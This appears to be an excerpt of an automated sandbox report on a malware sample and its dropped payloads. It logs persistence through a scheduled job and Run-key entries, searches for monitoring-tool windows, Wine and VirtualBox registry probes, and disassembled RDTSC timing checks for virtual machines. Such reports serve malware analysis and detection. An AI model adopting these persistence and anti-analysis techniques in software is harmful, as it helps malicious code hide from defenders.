Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bd73c9fe1b.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bd73c9fe1b.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b28f5af0b9.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b28f5af0b9.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f27afcd405.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f27afcd405.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CF545 second address: 9CED82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF018BAC39Bh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e sub dword ptr [ebp+122D3488h], edx 0x00000014 push dword ptr [ebp+122D0489h] 0x0000001a jmp 00007FF018BAC3A8h 0x0000001f call dword ptr [ebp+122D32CAh] 0x00000025 pushad 0x00000026 jo 00007FF018BAC39Dh 0x0000002c xor eax, eax 0x0000002e sub dword ptr [ebp+122D321Dh], esi 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 pushad 0x00000039 pushad 0x0000003a push edi 0x0000003b pop edi 0x0000003c jmp 00007FF018BAC3A8h 0x00000041 popad 0x00000042 jmp 00007FF018BAC3A0h 0x00000047 popad 0x00000048 mov dword ptr [ebp+122D2D52h], eax 0x0000004e jnc 00007FF018BAC39Ch 0x00000054 mov esi, 0000003Ch 0x00000059 clc 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e add dword ptr [ebp+122D3718h], edi 0x00000064 lodsw 0x00000066 ja 00007FF018BAC397h 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 pushad 0x00000071 or dword ptr [ebp+122D2F98h], ebx 0x00000077 cld 0x00000078 popad 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d clc 0x0000007e nop 0x0000007f push ecx 0x00000080 push eax 0x00000081 push edx 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CED82 second address: 9CED86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CED86 second address: 9CED92 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3622B second address: B36261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FF018B87193h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007FF018B87186h 0x00000014 jmp 00007FF018B87193h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B36261 second address: B36267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B36267 second address: B3626D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3626D second address: B36288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF018BAC3A2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B44743 second address: B44747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B448BC second address: B448C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B44DAD second address: B44DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B48A7A second address: B48AC9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1DDDh], edx 0x0000000e sub dword ptr [ebp+122D1EAEh], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FF018BAC398h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov esi, dword ptr [ebp+122D3AA6h] 0x00000036 call 00007FF018BAC399h 0x0000003b jbe 00007FF018BAC3A0h 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B48BF5 second address: B48C72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF018B87196h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FF018B87188h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b jmp 00007FF018B87199h 0x00000030 mov ecx, esi 0x00000032 call 00007FF018B87189h 0x00000037 jmp 00007FF018B87192h 0x0000003c push eax 0x0000003d push edi 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B48C72 second address: B48C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B48C76 second address: B48CBB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edx 0x00000010 jmp 00007FF018B8718Ch 0x00000015 pop edx 0x00000016 mov eax, dword ptr [eax] 0x00000018 jne 00007FF018B87191h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 jg 00007FF018B8718Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B48CBB second address: B48CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B48CBF second address: B48CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 sub dword ptr [ebp+122D3315h], eax 0x0000000e push 00000003h 0x00000010 sbb dx, 0602h 0x00000015 push 00000000h 0x00000017 add dl, FFFFFFB4h 0x0000001a push 00000003h 0x0000001c push edx 0x0000001d mov ecx, dword ptr [ebp+122D2C36h] 0x00000023 pop edi 0x00000024 push 5F8B8B52h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c jng 00007FF018B87186h 0x00000032 pop eax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B67F9A second address: B67F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3B21A second address: B3B223 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B66016 second address: B66028 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF018BAC39Ch 0x00000008 jbe 00007FF018BAC396h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B66028 second address: B6603F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B87193h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B662FA second address: B66305 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B66305 second address: B6631D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FF018B8718Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B66499 second address: B664A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6677B second address: B66783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B66783 second address: B6678D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6678D second address: B66797 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF018B87186h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B66797 second address: B667A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B667A3 second address: B667A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B66FC8 second address: B66FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B66FCD second address: B66FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B66FD3 second address: B66FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC39Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B67151 second address: B6715F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF018B87186h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6783A second address: B6783E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
